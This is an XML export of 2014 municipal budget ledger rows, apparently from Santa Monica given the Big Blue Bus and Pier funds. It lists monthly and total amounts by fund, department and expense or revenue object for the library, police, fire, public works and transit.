<row _id="9470"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10275.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10275.0</total></row>
<row _id="9471"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405450.0</object><object_description>HBP-FHWA CAL INCLINE DESIGN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>-465628.59</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-465628.59</total></row>
<row _id="9472"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402490.0</object><object_description>WATER CAPITAL FACILITIES FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-336000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-336000.0</total></row>
<row _id="9473"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4000.0</total></row>
<row _id="9474"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>96262.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>96262.0</total></row>
<row _id="9475"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29849.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29849.0</total></row>
<row _id="9476"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3255274.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3255274.0</total></row>
<row _id="9477"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5125.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5125.0</total></row>
<row _id="9478"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>133050.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>133050.0</total></row>
<row _id="9479"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3016.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3016.0</total></row>
<row _id="9480"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25625.0</total></row>
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<row _id="9482"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20524.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20524.0</total></row>
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<row _id="9493"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>760.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>760.0</total></row>
<row _id="9494"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>285.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>285.0</total></row>
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<row _id="9497"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>533160.0</object><object_description>PHOTO EQUIPMENT MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1743.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1743.0</total></row>
<row _id="9498"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511510.0</object><object_description>CROSSING GUARDS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>454159.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>454159.0</total></row>
<row _id="9499"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>40920.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>760</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41680.0</total></row>
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<row _id="9501"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>71869.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>1512.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>73381.0</total></row>
<row _id="9502"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>102987.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>102987.0</total></row>
<row _id="9503"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9075.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9075.0</total></row>
<row _id="9504"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9284.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9284.0</total></row>
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<row _id="9506"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>117180.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>290</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>117470.0</total></row>
<row _id="9507"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12420.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>480</december><january>600.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13500.0</total></row>
<row _id="9508"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1673.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1673.0</total></row>
<row _id="9509"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522042.0</object><object_description>RECOVERY FROM SUBROGATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-110000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-110000.0</total></row>
<row _id="9510"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555013.0</object><object_description>OUTSIDE REPAIRS - SHOP EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>73934.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>73934.0</total></row>
<row _id="9511"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2338699.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-1912.0</january><february>0</february><march>0</march><april>41568</april><may>0</may><june>0.0</june><total>2378355.0</total></row>
<row _id="9512"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>136796.0</july><august>0</august><september>0</september><october>0</october><november>1912.0</november><december>0</december><january>75000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>213708.0</total></row>
<row _id="9513"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>256563.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>256563.0</total></row>
<row _id="9514"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>47500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47500.0</total></row>
<row _id="9515"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3990.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3990.0</total></row>
<row _id="9516"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4560.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4560.0</total></row>
<row _id="9517"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>95.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>95.0</total></row>
<row _id="9518"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522044.0</object><object_description>PREMIUMS FOR PL &amp; PD-SRV REV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="9519"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28481.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28481.0</total></row>
<row _id="9520"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>523.0</total></row>
<row _id="9521"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>35899.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35899.0</total></row>
<row _id="9522"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>59160.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>59160.0</total></row>
<row _id="9523"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>340330.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>340330.0</total></row>
<row _id="9524"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>80000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="9525"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>308600.0</total></row>
<row _id="9526"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25600.0</total></row>
<row _id="9527"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>67230.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>67230.0</total></row>
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<row _id="9556"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250648.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250648.0</total></row>
<row _id="9557"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555700.0</object><object_description>REGULATORY AGENCY FEES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>110000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110000.0</total></row>
<row _id="9558"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>577050.0</object><object_description>PROPERTY TAXES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>128000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>128000.0</total></row>
<row _id="9559"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>555300.0</object><object_description>LIBRARY BOND DEBT SERVICE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1486350.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1486350.0</total></row>
<row _id="9560"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566220.0</object><object_description>CONVENTION / VISITORS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2545381.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2545381.0</total></row>
<row _id="9561"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4523.0</total></row>
